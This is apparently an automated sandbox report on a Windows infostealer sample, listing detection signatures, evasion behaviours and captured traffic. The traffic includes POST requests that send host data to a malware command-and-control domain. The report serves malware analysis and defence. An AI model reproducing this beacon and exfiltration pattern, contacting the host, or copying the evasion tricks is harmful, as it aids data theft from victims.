Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Prs9eAnu2k.exe

Overview

General Information

Sample name:Prs9eAnu2k.exe
renamed because original name is a hash value
Original sample name:53db8912e908083fa5076160a0db3c31.exe
Analysis ID:1582829
MD5:53db8912e908083fa5076160a0db3c31
SHA1:ff4309a7ec13cf183b4b13d83cdee8554cc8310e
SHA256:8776714b524b22667fce6f8d4cfae8bf99061e2a3a4516e48b8335e7b2e65971
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to create an SMB header
Detected potential crypto function
Entry point lies outside standard sections
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Prs9eAnu2k.exe (PID: 7132 cmdline: "C:\Users\user\Desktop\Prs9eAnu2k.exe" MD5: 53DB8912E908083FA5076160A0DB3C31)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: Prs9eAnu2k.exeAvira: detected
Antivirus detection for URL or domain
Source: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737fff::3Avira URL Cloud: Label: malware
Source: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737http://home.fiveth5vs.top/KhxTILlSHLygUudVWlAvira URL Cloud: Label: malware
Source: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0Avira URL Cloud: Label: malware
Source: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737Avira URL Cloud: Label: malware
Source: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk17Avira URL Cloud: Label: malware
Source: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0lLAvira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: Prs9eAnu2k.exeVirustotal: Detection: 48%Perma Link
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: Prs9eAnu2k.exeJoe Sandbox ML: detected
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: -----BEGIN PUBLIC KEY-----1_2_003FDCF0
Source: Prs9eAnu2k.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [ebp+04h], 424D53FFh1_2_0043A5B0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [ebx+04h], 424D53FFh1_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [edi+04h], 424D53FFh1_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [esi+04h], 424D53FFh1_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [edi+04h], 424D53FFh1_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [esi+04h], 424D53FFh1_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [ebx+04h], 424D53FFh1_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: mov dword ptr [ebx+04h], 424D53FFh1_2_0043B560
Source: Prs9eAnu2k.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_003D255D
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,1_2_003D29FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /KhxTILlSHLygUudVWlQk1735537737 HTTP/1.1Host: home.fiveth5vs.topAccept: */*Content-Type: application/jsonContent-Length: 442836Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 31 36 35 38 39 39 30 39 36 36 38 32 36 36 36 39 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 34 20 7d 2c 2
Source: global trafficHTTP traffic detected: GET /KhxTILlSHLygUudVWlQk1735537737?argument=0 HTTP/1.1Host: home.fiveth5vs.topAccept: */*
Source: global trafficHTTP traffic detected: POST /KhxTILlSHLygUudVWlQk1735537737 HTTP/1.1Host: home.fiveth5vs.topAccept: */*Content-Type: application/jsonContent-Length: 31Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }
Source: Joe Sandbox ViewIP Address: 34.197.122.172 34.197.122.172
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0049A8C0 recvfrom,1_2_0049A8C0
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: GET /KhxTILlSHLygUudVWlQk1735537737?argument=0 HTTP/1.1Host: home.fiveth5vs.topAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.fiveth5vs.top
Source: unknownHTTP traffic detected: POST /KhxTILlSHLygUudVWlQk1735537737 HTTP/1.1Host: home.fiveth5vs.topAccept: */*Content-Type: application/jsonContent-Length: 442836Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 31 36 35 38 39 39 30 39 36 36 38 32 36 36 36 39 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 34 20 7d 2c 2
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDserver: nginx/1.22.1date: Tue, 31 Dec 2024 14:42:18 GMTcontent-type: text/html; charset=utf-8content-length: 207Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDserver: nginx/1.22.1date: Tue, 31 Dec 2024 14:42:20 GMTcontent-type: text/html; charset=utf-8content-length: 207Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.css
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.jpg
Source: Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk17
Source: Prs9eAnu2k.exe, 00000001.00000003.2631851306.0000000001567000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737
Source: Prs9eAnu2k.exe, 00000001.00000002.2664275835.000000000153E000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631851306.0000000001567000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0
Source: Prs9eAnu2k.exe, 00000001.00000003.2632003954.000000000156D000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000002.2664364644.000000000156E000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631851306.0000000001567000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737?argument=0lL
Source: Prs9eAnu2k.exe, 00000001.00000002.2664364644.0000000001569000.00000004.00000020.00020000.00000000.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2631851306.0000000001567000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737fff::3
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fiveth5vs.top/KhxTILlSHLygUudVWlQk1735537737http://home.fiveth5vs.top/KhxTILlSHLygUudVWl
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://html4/loose.dtd
Source: Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Prs9eAnu2k.exeString found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: Prs9eAnu2k.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: Prs9eAnu2k.exe, Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Prs9eAnu2k.exeString found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ip
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710

System Summary

barindex
PE file contains section with special chars
Source: Prs9eAnu2k.exeStatic PE information: section name:
Source: Prs9eAnu2k.exeStatic PE information: section name: .idata
Source: Prs9eAnu2k.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003E05B01_2_003E05B0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003E6FA01_2_003E6FA0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0040F1001_2_0040F100
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0049B1801_2_0049B180
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0075E0501_2_0075E050
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0075A0001_2_0075A000
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_004A00E01_2_004A00E0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_004362101_2_00436210
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0049C3201_2_0049C320
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007244101_2_00724410
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_004A04201_2_004A0420
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003DE6201_2_003DE620
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0049C7701_2_0049C770
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007367301_2_00736730
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0043A7F01_2_0043A7F0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007547801_2_00754780
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0048C9001_2_0048C900
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003DA9601_2_003DA960
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003E49401_2_003E4940
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_005A6AC01_2_005A6AC0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0068AAC01_2_0068AAC0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00564B601_2_00564B60
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0068AB2C1_2_0068AB2C
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00748BF01_2_00748BF0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003DCBB01_2_003DCBB0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0075CC901_2_0075CC90
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00754D401_2_00754D40
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0074CD801_2_0074CD80
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_006EAE301_2_006EAE30
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003F4F701_2_003F4F70
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0049EF901_2_0049EF90
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00498F901_2_00498F90
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00722F901_2_00722F90
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003E10E61_2_003E10E6
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0043F10D1_2_0043F10D
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0073D4301_2_0073D430
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007435B01_2_007435B0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007617A01_2_007617A0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_004898801_2_00489880
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007299201_2_00729920
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00753A701_2_00753A70
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00411BE01_2_00411BE0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00741BD01_2_00741BD0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00737CC01_2_00737CC0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00689C801_2_00689C80
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003E5DB01_2_003E5DB0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003F5EB01_2_003F5EB0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003E3ED01_2_003E3ED0
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 004150A0 appears 101 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003D75A0 appears 706 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 005ACBC0 appears 88 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003D73F0 appears 114 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003ECD40 appears 80 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 00414F40 appears 349 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003ECCD0 appears 54 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 00415340 appears 50 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 00587220 appears 89 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 00414FD0 appears 294 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003D71E0 appears 47 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003DCAA0 appears 64 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 004B44A0 appears 76 times
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: String function: 003DC960 appears 37 times
Source: Prs9eAnu2k.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: Prs9eAnu2k.exeStatic PE information: Section: habslsfa ZLIB complexity 0.9942491947741748
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@8/2
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_003D255D
